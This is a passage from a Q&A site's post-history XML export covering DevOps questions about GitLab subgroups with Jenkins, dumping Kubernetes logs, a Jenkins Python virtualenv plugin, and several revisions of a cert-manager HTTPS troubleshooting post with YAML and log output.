  <row Id="32716" PostHistoryTypeId="2" PostId="10649" RevisionGUID="e5fc303d-c2f4-4f2b-bc77-de01e353abea" CreationDate="2020-01-30T13:34:55.860" UserId="19394" Text="Gitlab Subgroups are essentially only additional path identifiers on the Gitlab server.&#xD;&#xA;&#xD;&#xA;For example if you have:  &#xD;&#xA;&#xD;&#xA; - Gitlab server on `localhost`   &#xD;&#xA; - Group: `test`&#xD;&#xA; - Subgroup `subgroup1`  &#xD;&#xA; - Repository `myawesomerepo`&#xD;&#xA;&#xD;&#xA;Then the path to your repository will be:&#xD;&#xA;```&#xD;&#xA;http://localhost/test/subgroup1/myawesomerepo&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And cloning the repo will be&#xD;&#xA;```&#xD;&#xA;git clone git@localhost/test/subgroup1/myawesomerepo.git&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So when you connect any Jenkins pipelines to the repo you will need to connect them to that full path.  &#xD;&#xA;  &#xD;&#xA;Any changes being done or API's added to the Git repository itself can easily be monitored automatically to do some action via Jenkins.  &#xD;&#xA;  &#xD;&#xA;However, since a Gitlab Subgroup is not a Git feature rather a Gitlab feature, you need to try and write you own logic to query on the full URL and to see if there were any new Subgroups/ API endpoints added." ContentLicense="CC BY-SA 4.0" />
  <row Id="32717" PostHistoryTypeId="2" PostId="10650" RevisionGUID="35d17ebe-e96d-4814-bbc1-128bb4d56dda" CreationDate="2020-01-30T16:08:26.393" UserId="12267" Text="We are remotely deploying a kubernetes cluster and when the installation fails, we would like to see the logs of all the services and migrations and pods etc. that we are trying to install.&#xD;&#xA;Instead of manually specifying each specific service etc. Is there an easy way of getting all the logs of the cluster and saving them in a tar file." ContentLicense="CC BY-SA 4.0" />
  <row Id="32718" PostHistoryTypeId="1" PostId="10650" RevisionGUID="35d17ebe-e96d-4814-bbc1-128bb4d56dda" CreationDate="2020-01-30T16:08:26.393" UserId="12267" Text="Dump Kubernetes log files for all services/pods/jobs etc" ContentLicense="CC BY-SA 4.0" />
  <row Id="32719" PostHistoryTypeId="3" PostId="10650" RevisionGUID="35d17ebe-e96d-4814-bbc1-128bb4d56dda" CreationDate="2020-01-30T16:08:26.393" UserId="12267" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32720" PostHistoryTypeId="50" PostId="9024" RevisionGUID="0c0c03f3-9860-4dd5-8b29-693fda334179" CreationDate="2020-01-30T19:01:25.157" UserId="-1" />
  <row Id="32721" PostHistoryTypeId="5" PostId="10203" RevisionGUID="e51088fa-74fa-4ada-af0f-414892a1ac3d" CreationDate="2020-01-30T19:30:33.287" UserId="47" Comment="added 706 characters in body" Text="You may want to take a look at [the ShiningPanda Plugin][1]. &#xD;&#xA;&#xD;&#xA;It allows running a build step inside a particular python virtual environment, created automatically if it doesn't exist or reused if it already exists. The virtual environment is located outside the workspace, but it can be named and made to appear as a directory with that name inside the workspace.&#xD;&#xA;&#xD;&#xA;To address the dependencies you just have to insert a build step performing the desired `pip install -r requirements.txt` variant after pulling the workspace (which will probably bring in your `requirements.txt` file) but before any other build step that would need to use the virtual environment. &#xD;&#xA;&#xD;&#xA;The same virtual environment can be used in multiple steps of the same build (by name) and a build can have multiple virtual environments if needed. But AFAIK you can't reuse the same virtual environment in different builds, each build will have its own copy.&#xD;&#xA;&#xD;&#xA;The Plugin has a configuration to clear/wipe the environment at any build step using it, if/when needed. Obviously you wouldn't want this always enabled as it would void reusability.&#xD;&#xA;&#xD;&#xA;IMHO it works best with `requirements.txt` files with pinned package versions (like those produced by [pip-tools][2]).&#xD;&#xA;&#xD;&#xA;**Update**: I recently ran into an issue with the plugin on Windows: I had several jobs in different Jenkins folders but with the same **job names** and same plugin configs (notably the non-empty **`Name`** in the `Advanced` section). Turns out all jobs were actually sharing a single environment (and stepping over each-other), I had to switch to unique values for `Name` across the jobs. Apparently the 2 names are used to generate the 2 hashes from the virtual environment path, so same names -&gt; same path:&#xD;&#xA;&#xD;&#xA;`\Jenkins\shiningpanda\jobs\&lt;job_name_hash&gt;\virtualenvs\&lt;venv_name_path_hash&gt;\`&#xD;&#xA;&#xD;&#xA;So, if you have the same job names, you actually **can** share the same environment if you really want to :)&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/ShiningPanda+Plugin&#xD;&#xA;  [2]: https://pypi.org/project/pip-tools/" ContentLicense="CC BY-SA 4.0" />
  <row Id="32722" PostHistoryTypeId="2" PostId="10651" RevisionGUID="f862df74-3e78-4a75-a573-995e6246e611" CreationDate="2020-01-30T19:31:05.650" UserId="11490" Text="Part of my struggle to learn this, I think, is that `cert-manager` is updated pretty regularly so a lot of the tutorials, blog posts, questions, and courses I have read or taken are no longer relevant.&#xD;&#xA;&#xD;&#xA;For example, when I initially started learning Kubernetes you had to make `certificate.yaml` that looked similar to this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: cert-manager.io/v1alpha2&#xD;&#xA;kind: Certificate&#xD;&#xA;metadata:&#xD;&#xA;  name: test-domain-com&#xD;&#xA;spec:&#xD;&#xA;  secretName: test-domain-com&#xD;&#xA;  issuerRef:&#xD;&#xA;    name: letsencrypt-staging&#xD;&#xA;    kind: ClusterIssuer&#xD;&#xA;  commonName: test.domain.com&#xD;&#xA;  dnsNames:&#xD;&#xA;    - test.domain.com&#xD;&#xA;  acme:&#xD;&#xA;    config:&#xD;&#xA;      - http01:&#xD;&#xA;          ingressClass: nginx&#xD;&#xA;        domains:&#xD;&#xA;          - test.domain.com&#xD;&#xA;```&#xD;&#xA;This doesn't appear to be the case anymore since it seems to be extrapolated from the `issuer.yaml` and `ingress.yaml`.&#xD;&#xA;&#xD;&#xA;Anyway, I have a certificate that &quot;issued successfully&quot;, but still HTTPS is not working on the application when I navigate to it.&#xD;&#xA;&#xD;&#xA;**issuer.yaml**&#xD;&#xA;```&#xD;&#xA;apiVersion: cert-manager.io/v1alpha2&#xD;&#xA;kind: Certificate&#xD;&#xA;metadata:&#xD;&#xA;  name: test-domain-com&#xD;&#xA;spec:&#xD;&#xA;  secretName: test-domain-com&#xD;&#xA;  issuerRef:&#xD;&#xA;    name: letsencrypt-staging&#xD;&#xA;    kind: ClusterIssuer&#xD;&#xA;  commonName: test.domain.com&#xD;&#xA;  dnsNames:&#xD;&#xA;    - test.domain.com&#xD;&#xA;  acme:&#xD;&#xA;    config:&#xD;&#xA;      - http01:&#xD;&#xA;          ingressClass: nginx&#xD;&#xA;        domains:&#xD;&#xA;          - test.domain.com&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**ingress.yaml**&#xD;&#xA;```&#xD;&#xA;apiVersion: networking.k8s.io/v1beta1&#xD;&#xA;kind: Ingress&#xD;&#xA;metadata:&#xD;&#xA;  annotations:&#xD;&#xA;    kubernetes.io/ingress.class: &quot;nginx&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/add-base-url: &quot;true&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/rewrite-target: /$1&#xD;&#xA;    cert-manager.io/cluster-issuer: &quot;letsencrypt-staging&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/ssl-redirect: &quot;true&quot;&#xD;&#xA;  name: ingress&#xD;&#xA;  namespace: default&#xD;&#xA;spec:&#xD;&#xA;  tls:&#xD;&#xA;    - hosts:&#xD;&#xA;        - test.domain.com&#xD;&#xA;      secretName: test-domain-com&#xD;&#xA;  rules:&#xD;&#xA;    - host: test.domain.com&#xD;&#xA;      http:&#xD;&#xA;        paths:&#xD;&#xA;          - path: /?(.*)&#xD;&#xA;            backend:&#xD;&#xA;              serviceName: client-cluster-ip-service&#xD;&#xA;              servicePort: 3000&#xD;&#xA;          - path: /api/?(.*)&#xD;&#xA;            backend:&#xD;&#xA;              serviceName: api-cluster-ip-service&#xD;&#xA;              servicePort: 5000&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Certificate Logs**&#xD;&#xA;```&#xD;&#xA;$ kubectl describe certificates test-domain-com&#xD;&#xA;Name:         test-domain-com&#xD;&#xA;Namespace:    default&#xD;&#xA;Labels:       &lt;none&gt;&#xD;&#xA;Annotations:  kubectl.kubernetes.io/last-applied-configuration:&#xD;&#xA;                {&quot;apiVersion&quot;:&quot;cert-manager.io/v1alpha2&quot;,&quot;kind&quot;:&quot;Certificate&quot;,&quot;metadata&quot;:{&quot;annotations&quot;:{},&quot;name&quot;:&quot;test-domain-com&quot;,&quot;namespace&quot;:&quot;de...&#xD;&#xA;API Version:  cert-manager.io/v1alpha2&#xD;&#xA;Kind:         Certificate&#xD;&#xA;Metadata:&#xD;&#xA;  Creation Timestamp:  2020-01-30T17:49:12Z&#xD;&#xA;  Generation:          6&#xD;&#xA;  Owner References:&#xD;&#xA;    API Version:           extensions/v1beta1&#xD;&#xA;    Block Owner Deletion:  true&#xD;&#xA;    Controller:            true&#xD;&#xA;    Kind:                  Ingress&#xD;&#xA;    Name:                  ingress&#xD;&#xA;    UID:                   d31883d9-4388-11ea-84ec-469fd0fd8fec&#xD;&#xA;  Resource Version:        832245&#xD;&#xA;  Self Link:               /apis/cert-manager.io/v1alpha2/namespaces/default/certificates/test-domain-com&#xD;&#xA;  UID:                     d3222905-4388-11ea-84ec-469fd0fd8fec&#xD;&#xA;Spec:&#xD;&#xA;  Dns Names:&#xD;&#xA;    test.domain.com&#xD;&#xA;  Issuer Ref:&#xD;&#xA;    Group:      cert-manager.io&#xD;&#xA;    Kind:       ClusterIssuer&#xD;&#xA;    Name:       letsencrypt-staging&#xD;&#xA;  Secret Name:  test-domain-com&#xD;&#xA;Status:&#xD;&#xA;  Conditions:&#xD;&#xA;    Last Transition Time:  2020-01-30T18:12:41Z&#xD;&#xA;    Message:               Certificate is up to date and has not expired&#xD;&#xA;    Reason:                Ready&#xD;&#xA;    Status:                True&#xD;&#xA;    Type:                  Ready&#xD;&#xA;  Not After:               2020-04-29T17:12:40Z&#xD;&#xA;Events:&#xD;&#xA;  Type    Reason     Age   From          Message&#xD;&#xA;  ----    ------     ----  ----          -------&#xD;&#xA;  Normal  Requested  43m   cert-manager  Created new CertificateRequest resource &quot;test-domain-com-566504257&quot;&#xD;&#xA;  Normal  Issued     42m   cert-manager  Certificate issued successfully&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Describe Secret**&#xD;&#xA;```&#xD;&#xA;$ kubectl describe secret test-domain-com&#xD;&#xA;Name:         test-domain-com&#xD;&#xA;Namespace:    default&#xD;&#xA;Labels:       &lt;none&gt;&#xD;&#xA;Annotations:  cert-manager.io/alt-names: test.domain.com&#xD;&#xA;              cert-manager.io/certificate-name: test-domain-com&#xD;&#xA;              cert-manager.io/common-name: test.domain.com&#xD;&#xA;              cert-manager.io/ip-sans: &#xD;&#xA;              cert-manager.io/issuer-kind: ClusterIssuer&#xD;&#xA;              cert-manager.io/issuer-name: letsencrypt-staging&#xD;&#xA;              cert-manager.io/uri-sans: &#xD;&#xA;&#xD;&#xA;Type:  kubernetes.io/tls&#xD;&#xA;&#xD;&#xA;Data&#xD;&#xA;====&#xD;&#xA;ca.crt:   0 bytes&#xD;&#xA;tls.crt:  3566 bytes&#xD;&#xA;tls.key:  1675 bytes&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`ca.crt` is empty and not entirely sure if it should or shouldn't be. Looks like there is a [Github issue](https://github.com/jetstack/cert-manager/issues/2111) about it.&#xD;&#xA;&#xD;&#xA;**Errors in `cert-manager` log**&#xD;&#xA;```&#xD;&#xA;W0130 19:13:11.357728       1 client_config.go:543] Neither --kubeconfig nor --master was specified.  Using the inClusterConfig.  This might not work.&#xD;&#xA;E0130 19:14:21.811114       1 controller.go:230] cert-manager/controller/webhook-bootstrap/webhook-bootstrap/ca-secret &quot;msg&quot;=&quot;error decoding CA private key&quot; &quot;error&quot;=&quot;error decoding private key PEM block&quot; &quot;resource_kind&quot;=&quot;Secret&quot; &quot;resource_name&quot;=&quot;cert-manager-webhook-tls&quot; &quot;resource_namespace&quot;=&quot;cert-manager&quot; &#xD;&#xA;E0130 19:14:21.811257       1 controller.go:131] cert-manager/controller/webhook-bootstrap &quot;msg&quot;=&quot;re-queuing item  due to error processing&quot; &quot;error&quot;=&quot;error decoding private key PEM block&quot; &quot;key&quot;=&quot;cert-manager/cert-manager-webhook-tls&quot; &#xD;&#xA;rce_kind&quot;=&quot;Challenge&quot; &quot;resource_name&quot;=&quot;test-domain-com-566504257-1006673842-2382236481&quot; &quot;resource_namespace&quot;=&quot;default&quot; &quot;type&quot;=&quot;http-01&quot; &#xD;&#xA;E0130 19:16:21.262484       1 sync.go:184] cert-manager/controller/challenges &quot;msg&quot;=&quot;propagation check failed&quot; &quot;error&quot;=&quot;wrong status code '404', expected '200'&quot; &quot;dnsName&quot;=&quot;test.domain.com&quot; &quot;resource_kind&quot;=&quot;Challenge&quot; &quot;resource_name&quot;=&quot;test-domain-com-566504257-1006673842-2382236481&quot; &quot;resource_namespace&quot;=&quot;default&quot; &quot;type&quot;=&quot;http-01&quot; &#xD;&#xA;E0130 19:16:42.616965       1 controller.go:156] ingress 'default/cm-acme-http-solver-6xj55' in work queue no longer exists&#xD;&#xA;E0130 19:16:42.837328       1 sync.go:59] cert-manager/controller/orders &quot;msg&quot;=&quot;failed to update status&quot; &quot;error&quot;=null &quot;resource_kind&quot;=&quot;Order&quot; &quot;resource_name&quot;=&quot;test-domain-com-566504257-1006673842&quot; &quot;resource_namespace&quot;=&quot;default&quot; &#xD;&#xA;E0130 19:16:42.837364       1 controller.go:131] cert-manager/controller/orders &quot;msg&quot;=&quot;re-queuing item  due to error processing&quot; &quot;error&quot;=&quot;Operation cannot be fulfilled on orders.acme.cert-manager.io \&quot;test-domain-com-566504257-1006673842\&quot;: the object has been modified; please apply your changes to the latest version and try again&quot; &quot;key&quot;=&quot;default/test-domain-com-566504257-1006673842&quot; &#xD;&#xA;E0130 19:16:43.687987       1 controller.go:193] cert-manager/controller/challenges &quot;msg&quot;=&quot;challenge in work queue no longer exists&quot; &quot;error&quot;=&quot;challenge.acme.cert-manager.io \&quot;test-domain-com-566504257-1006673842-2382236481\&quot; not found&quot;  &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The only thing that jumped out to me was:&#xD;&#xA;&#xD;&#xA;`&quot;msg&quot;=&quot;error decoding CA private key&quot; &quot;error&quot;=&quot;error decoding private key PEM block&quot;`&#xD;&#xA;&#xD;&#xA;Tried to dumping browser cache, incognito mode, etc... still comes up HTTP or &quot;Not Secure&quot; with &quot;Fake LE Intermediate X1&quot; certificate when navigating to HTTPS.&#xD;&#xA;&#xD;&#xA;So what did I screwup/overlook this time and how do I resolve this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32723" PostHistoryTypeId="1" PostId="10651" RevisionGUID="f862df74-3e78-4a75-a573-995e6246e611" CreationDate="2020-01-30T19:31:05.650" UserId="11490" Text="Issue getting HTTPS working for subdomain despite &quot;Certificate issued successfully&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32724" PostHistoryTypeId="3" PostId="10651" RevisionGUID="f862df74-3e78-4a75-a573-995e6246e611" CreationDate="2020-01-30T19:31:05.650" UserId="11490" Text="&lt;kubernetes&gt;&lt;ingress&gt;&lt;cert-manager&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32725" PostHistoryTypeId="50" PostId="9074" RevisionGUID="bd2ba798-f825-4394-9866-bbee724d3935" CreationDate="2020-01-30T20:02:05.280" UserId="-1" />
  <row Id="32726" PostHistoryTypeId="5" PostId="10651" RevisionGUID="42c46aac-f5c2-4cd6-9d8c-804bbc444349" CreationDate="2020-01-30T20:37:02.280" UserId="11490" Comment="added 307 characters in body" Text="Part of my struggle to learn this, I think, is that `cert-manager` is updated pretty regularly so a lot of the tutorials, blog posts, questions, and courses I have read or taken are no longer relevant.&#xD;&#xA;&#xD;&#xA;For example, when I initially started learning Kubernetes you had to make `certificate.yaml` that looked similar to this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: cert-manager.io/v1alpha2&#xD;&#xA;kind: Certificate&#xD;&#xA;metadata:&#xD;&#xA;  name: test-domain-com&#xD;&#xA;spec:&#xD;&#xA;  secretName: test-domain-com&#xD;&#xA;  issuerRef:&#xD;&#xA;    name: letsencrypt-staging&#xD;&#xA;    kind: ClusterIssuer&#xD;&#xA;  commonName: test.domain.com&#xD;&#xA;  dnsNames:&#xD;&#xA;    - test.domain.com&#xD;&#xA;  acme:&#xD;&#xA;    config:&#xD;&#xA;      - http01:&#xD;&#xA;          ingressClass: nginx&#xD;&#xA;        domains:&#xD;&#xA;          - test.domain.com&#xD;&#xA;```&#xD;&#xA;This doesn't appear to be the case anymore since it seems to be extrapolated from the `issuer.yaml` and `ingress.yaml`.&#xD;&#xA;&#xD;&#xA;Anyway, I have a certificate that &quot;issued successfully&quot;, but still HTTPS is not working on the application when I navigate to it.&#xD;&#xA;&#xD;&#xA;**issuer.yaml**&#xD;&#xA;```&#xD;&#xA;apiVersion: cert-manager.io/v1alpha2&#xD;&#xA;kind: Certificate&#xD;&#xA;metadata:&#xD;&#xA;  name: test-domain-com&#xD;&#xA;spec:&#xD;&#xA;  secretName: test-domain-com&#xD;&#xA;  issuerRef:&#xD;&#xA;    name: letsencrypt-staging&#xD;&#xA;    kind: ClusterIssuer&#xD;&#xA;  commonName: test.domain.com&#xD;&#xA;  dnsNames:&#xD;&#xA;    - test.domain.com&#xD;&#xA;  acme:&#xD;&#xA;    config:&#xD;&#xA;      - http01:&#xD;&#xA;          ingressClass: nginx&#xD;&#xA;        domains:&#xD;&#xA;          - test.domain.com&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**ingress.yaml**&#xD;&#xA;```&#xD;&#xA;apiVersion: networking.k8s.io/v1beta1&#xD;&#xA;kind: Ingress&#xD;&#xA;metadata:&#xD;&#xA;  annotations:&#xD;&#xA;    kubernetes.io/ingress.class: &quot;nginx&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/add-base-url: &quot;true&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/rewrite-target: /$1&#xD;&#xA;    cert-manager.io/cluster-issuer: &quot;letsencrypt-staging&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/ssl-redirect: &quot;true&quot;&#xD;&#xA;  name: ingress&#xD;&#xA;  namespace: default&#xD;&#xA;spec:&#xD;&#xA;  tls:&#xD;&#xA;    - hosts:&#xD;&#xA;        - test.domain.com&#xD;&#xA;      secretName: test-domain-com&#xD;&#xA;  rules:&#xD;&#xA;    - host: test.domain.com&#xD;&#xA;      http:&#xD;&#xA;        paths:&#xD;&#xA;          - path: /?(.*)&#xD;&#xA;            backend:&#xD;&#xA;              serviceName: client-cluster-ip-service&#xD;&#xA;              servicePort: 3000&#xD;&#xA;          - path: /api/?(.*)&#xD;&#xA;            backend:&#xD;&#xA;              serviceName: api-cluster-ip-service&#xD;&#xA;              servicePort: 5000&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Certificate Logs**&#xD;&#xA;```&#xD;&#xA;$ kubectl describe certificates test-domain-com&#xD;&#xA;Name:         test-domain-com&#xD;&#xA;Namespace:    default&#xD;&#xA;Labels:       &lt;none&gt;&#xD;&#xA;Annotations:  kubectl.kubernetes.io/last-applied-configuration:&#xD;&#xA;                {&quot;apiVersion&quot;:&quot;cert-manager.io/v1alpha2&quot;,&quot;kind&quot;:&quot;Certificate&quot;,&quot;metadata&quot;:{&quot;annotations&quot;:{},&quot;name&quot;:&quot;test-domain-com&quot;,&quot;namespace&quot;:&quot;de...&#xD;&#xA;API Version:  cert-manager.io/v1alpha2&#xD;&#xA;Kind:         Certificate&#xD;&#xA;Metadata:&#xD;&#xA;  Creation Timestamp:  2020-01-30T17:49:12Z&#xD;&#xA;  Generation:          6&#xD;&#xA;  Owner References:&#xD;&#xA;    API Version:           extensions/v1beta1&#xD;&#xA;    Block Owner Deletion:  true&#xD;&#xA;    Controller:            true&#xD;&#xA;    Kind:                  Ingress&#xD;&#xA;    Name:                  ingress&#xD;&#xA;    UID:                   d31883d9-4388-11ea-84ec-469fd0fd8fec&#xD;&#xA;  Resource Version:        832245&#xD;&#xA;  Self Link:               /apis/cert-manager.io/v1alpha2/namespaces/default/certificates/test-domain-com&#xD;&#xA;  UID:                     d3222905-4388-11ea-84ec-469fd0fd8fec&#xD;&#xA;Spec:&#xD;&#xA;  Dns Names:&#xD;&#xA;    test.domain.com&#xD;&#xA;  Issuer Ref:&#xD;&#xA;    Group:      cert-manager.io&#xD;&#xA;    Kind:       ClusterIssuer&#xD;&#xA;    Name:       letsencrypt-staging&#xD;&#xA;  Secret Name:  test-domain-com&#xD;&#xA;Status:&#xD;&#xA;  Conditions:&#xD;&#xA;    Last Transition Time:  2020-01-30T18:12:41Z&#xD;&#xA;    Message:               Certificate is up to date and has not expired&#xD;&#xA;    Reason:                Ready&#xD;&#xA;    Status:                True&#xD;&#xA;    Type:                  Ready&#xD;&#xA;  Not After:               2020-04-29T17:12:40Z&#xD;&#xA;Events:&#xD;&#xA;  Type    Reason     Age   From          Message&#xD;&#xA;  ----    ------     ----  ----          -------&#xD;&#xA;  Normal  Requested  43m   cert-manager  Created new CertificateRequest resource &quot;test-domain-com-566504257&quot;&#xD;&#xA;  Normal  Issued     42m   cert-manager  Certificate issued successfully&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Describe Secret**&#xD;&#xA;```&#xD;&#xA;$ kubectl describe secret test-domain-com&#xD;&#xA;Name:         test-domain-com&#xD;&#xA;Namespace:    default&#xD;&#xA;Labels:       &lt;none&gt;&#xD;&#xA;Annotations:  cert-manager.io/alt-names: test.domain.com&#xD;&#xA;              cert-manager.io/certificate-name: test-domain-com&#xD;&#xA;              cert-manager.io/common-name: test.domain.com&#xD;&#xA;              cert-manager.io/ip-sans: &#xD;&#xA;              cert-manager.io/issuer-kind: ClusterIssuer&#xD;&#xA;              cert-manager.io/issuer-name: letsencrypt-staging&#xD;&#xA;              cert-manager.io/uri-sans: &#xD;&#xA;&#xD;&#xA;Type:  kubernetes.io/tls&#xD;&#xA;&#xD;&#xA;Data&#xD;&#xA;====&#xD;&#xA;ca.crt:   0 bytes&#xD;&#xA;tls.crt:  3566 bytes&#xD;&#xA;tls.key:  1675 bytes&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`ca.crt` is empty and not entirely sure if it should or shouldn't be. Looks like there is a [Github issue](https://github.com/jetstack/cert-manager/issues/2111) about it.&#xD;&#xA;&#xD;&#xA;**Errors in `cert-manager` log**&#xD;&#xA;```&#xD;&#xA;W0130 19:13:11.357728       1 client_config.go:543] Neither --kubeconfig nor --master was specified.  Using the inClusterConfig.  This might not work.&#xD;&#xA;E0130 19:14:21.811114       1 controller.go:230] cert-manager/controller/webhook-bootstrap/webhook-bootstrap/ca-secret &quot;msg&quot;=&quot;error decoding CA private key&quot; &quot;error&quot;=&quot;error decoding private key PEM block&quot; &quot;resource_kind&quot;=&quot;Secret&quot; &quot;resource_name&quot;=&quot;cert-manager-webhook-tls&quot; &quot;resource_namespace&quot;=&quot;cert-manager&quot; &#xD;&#xA;E0130 19:14:21.811257       1 controller.go:131] cert-manager/controller/webhook-bootstrap &quot;msg&quot;=&quot;re-queuing item  due to error processing&quot; &quot;error&quot;=&quot;error decoding private key PEM block&quot; &quot;key&quot;=&quot;cert-manager/cert-manager-webhook-tls&quot; &#xD;&#xA;rce_kind&quot;=&quot;Challenge&quot; &quot;resource_name&quot;=&quot;test-domain-com-566504257-1006673842-2382236481&quot; &quot;resource_namespace&quot;=&quot;default&quot; &quot;type&quot;=&quot;http-01&quot; &#xD;&#xA;E0130 19:16:21.262484       1 sync.go:184] cert-manager/controller/challenges &quot;msg&quot;=&quot;propagation check failed&quot; &quot;error&quot;=&quot;wrong status code '404', expected '200'&quot; &quot;dnsName&quot;=&quot;test.domain.com&quot; &quot;resource_kind&quot;=&quot;Challenge&quot; &quot;resource_name&quot;=&quot;test-domain-com-566504257-1006673842-2382236481&quot; &quot;resource_namespace&quot;=&quot;default&quot; &quot;type&quot;=&quot;http-01&quot; &#xD;&#xA;E0130 19:16:42.616965       1 controller.go:156] ingress 'default/cm-acme-http-solver-6xj55' in work queue no longer exists&#xD;&#xA;E0130 19:16:42.837328       1 sync.go:59] cert-manager/controller/orders &quot;msg&quot;=&quot;failed to update status&quot; &quot;error&quot;=null &quot;resource_kind&quot;=&quot;Order&quot; &quot;resource_name&quot;=&quot;test-domain-com-566504257-1006673842&quot; &quot;resource_namespace&quot;=&quot;default&quot; &#xD;&#xA;E0130 19:16:42.837364       1 controller.go:131] cert-manager/controller/orders &quot;msg&quot;=&quot;re-queuing item  due to error processing&quot; &quot;error&quot;=&quot;Operation cannot be fulfilled on orders.acme.cert-manager.io \&quot;test-domain-com-566504257-1006673842\&quot;: the object has been modified; please apply your changes to the latest version and try again&quot; &quot;key&quot;=&quot;default/test-domain-com-566504257-1006673842&quot; &#xD;&#xA;E0130 19:16:43.687987       1 controller.go:193] cert-manager/controller/challenges &quot;msg&quot;=&quot;challenge in work queue no longer exists&quot; &quot;error&quot;=&quot;challenge.acme.cert-manager.io \&quot;test-domain-com-566504257-1006673842-2382236481\&quot; not found&quot;  &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The only thing that jumped out to me was:&#xD;&#xA;&#xD;&#xA;`&quot;msg&quot;=&quot;error decoding CA private key&quot; &quot;error&quot;=&quot;error decoding private key PEM block&quot;`&#xD;&#xA;&#xD;&#xA;Tried to dumping browser cache, incognito mode, etc... still comes up HTTP or &quot;Not Secure&quot; with &quot;Fake LE Intermediate X1&quot; certificate when navigating to HTTPS.&#xD;&#xA;&#xD;&#xA;So what did I screwup/overlook this time and how do I resolve this?&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;Came across [this tutorial](https://www.digitalocean.com/community/tutorials/how-to-set-up-an-nginx-ingress-with-cert-manager-on-digitalocean-kubernetes) which sounded promising. Thought maybe what I am experiencing is due to `staging`. Changed to `prod` and still have the same exact issue." ContentLicense="CC BY-SA 4.0" />
  <row Id="32728" PostHistoryTypeId="5" PostId="10651" RevisionGUID="825c680a-9fb9-4dad-b211-b27293d011fa" CreationDate="2020-01-30T20:46:17.163" UserId="11490" Comment="deleted 307 characters in body" Text="Part of my struggle to learn this, I think, is that `cert-manager` is updated pretty regularly so a lot of the tutorials, blog posts, questions, and courses I have read or taken are no longer relevant.&#xD;&#xA;&#xD;&#xA;For example, when I initially started learning Kubernetes you had to make `certificate.yaml` that looked similar to this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: cert-manager.io/v1alpha2&#xD;&#xA;kind: Certificate&#xD;&#xA;metadata:&#xD;&#xA;  name: test-domain-com&#xD;&#xA;spec:&#xD;&#xA;  secretName: test-domain-com&#xD;&#xA;  issuerRef:&#xD;&#xA;    name: letsencrypt-staging&#xD;&#xA;    kind: ClusterIssuer&#xD;&#xA;  commonName: test.domain.com&#xD;&#xA;  dnsNames:&#xD;&#xA;    - test.domain.com&#xD;&#xA;  acme:&#xD;&#xA;    config:&#xD;&#xA;      - http01:&#xD;&#xA;          ingressClass: nginx&#xD;&#xA;        domains:&#xD;&#xA;          - test.domain.com&#xD;&#xA;```&#xD;&#xA;This doesn't appear to be the case anymore since it seems to be extrapolated from the `issuer.yaml` and `ingress.yaml`.&#xD;&#xA;&#xD;&#xA;Anyway, I have a certificate that &quot;issued successfully&quot;, but still HTTPS is not working on the application when I navigate to it.&#xD;&#xA;&#xD;&#xA;**issuer.yaml**&#xD;&#xA;```&#xD;&#xA;apiVersion: cert-manager.io/v1alpha2&#xD;&#xA;kind: Certificate&#xD;&#xA;metadata:&#xD;&#xA;  name: test-domain-com&#xD;&#xA;spec:&#xD;&#xA;  secretName: test-domain-com&#xD;&#xA;  issuerRef:&#xD;&#xA;    name: letsencrypt-staging&#xD;&#xA;    kind: ClusterIssuer&#xD;&#xA;  commonName: test.domain.com&#xD;&#xA;  dnsNames:&#xD;&#xA;    - test.domain.com&#xD;&#xA;  acme:&#xD;&#xA;    config:&#xD;&#xA;      - http01:&#xD;&#xA;          ingressClass: nginx&#xD;&#xA;        domains:&#xD;&#xA;          - test.domain.com&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**ingress.yaml**&#xD;&#xA;```&#xD;&#xA;apiVersion: networking.k8s.io/v1beta1&#xD;&#xA;kind: Ingress&#xD;&#xA;metadata:&#xD;&#xA;  annotations:&#xD;&#xA;    kubernetes.io/ingress.class: &quot;nginx&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/add-base-url: &quot;true&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/rewrite-target: /$1&#xD;&#xA;    cert-manager.io/cluster-issuer: &quot;letsencrypt-staging&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/ssl-redirect: &quot;true&quot;&#xD;&#xA;  name: ingress&#xD;&#xA;  namespace: default&#xD;&#xA;spec:&#xD;&#xA;  tls:&#xD;&#xA;    - hosts:&#xD;&#xA;        - test.domain.com&#xD;&#xA;      secretName: test-domain-com&#xD;&#xA;  rules:&#xD;&#xA;    - host: test.domain.com&#xD;&#xA;      http:&#xD;&#xA;        paths:&#xD;&#xA;          - path: /?(.*)&#xD;&#xA;            backend:&#xD;&#xA;              serviceName: client-cluster-ip-service&#xD;&#xA;              servicePort: 3000&#xD;&#xA;          - path: /api/?(.*)&#xD;&#xA;            backend:&#xD;&#xA;              serviceName: api-cluster-ip-service&#xD;&#xA;              servicePort: 5000&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Certificate 